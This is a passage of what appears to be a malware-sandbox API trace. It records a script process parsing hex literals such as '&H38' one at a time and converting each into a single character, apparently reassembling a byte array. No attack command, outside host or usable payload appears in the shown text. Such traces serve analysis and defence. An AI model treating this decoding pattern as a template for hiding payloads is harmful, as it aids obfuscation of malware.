cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a", lpUsedDefaultChar=0x0) returned 1 [0061.987] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.987] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.988] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.988] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.988] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.989] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.989] VarParseNumFromStr (in: strIn="&H38", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.989] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0061.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8", lpUsedDefaultChar=0x0) returned 1 [0061.990] VarParseNumFromStr (in: strIn="&H7", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.990] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x07") returned 1 [0061.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x07", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x07", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x07", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x07", lpUsedDefaultChar=0x0) returned 1 [0061.991] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.991] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.991] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.991] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.992] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.992] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.993] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.993] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.994] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.994] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.994] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.994] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.995] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.995] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.996] VarParseNumFromStr (in: strIn="&H8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.996] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x08") returned 1 [0061.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x08", lpUsedDefaultChar=0x0) returned 1 [0061.996] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.996] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.997] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.997] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.998] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.998] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.999] VarParseNumFromStr (in: strIn="&HE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.999] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x0e") returned 1 [0061.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e", lpUsedDefaultChar=0x0) returned 1 [0061.999] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.999] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0062.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0062.000] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.000] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.001] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.001] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 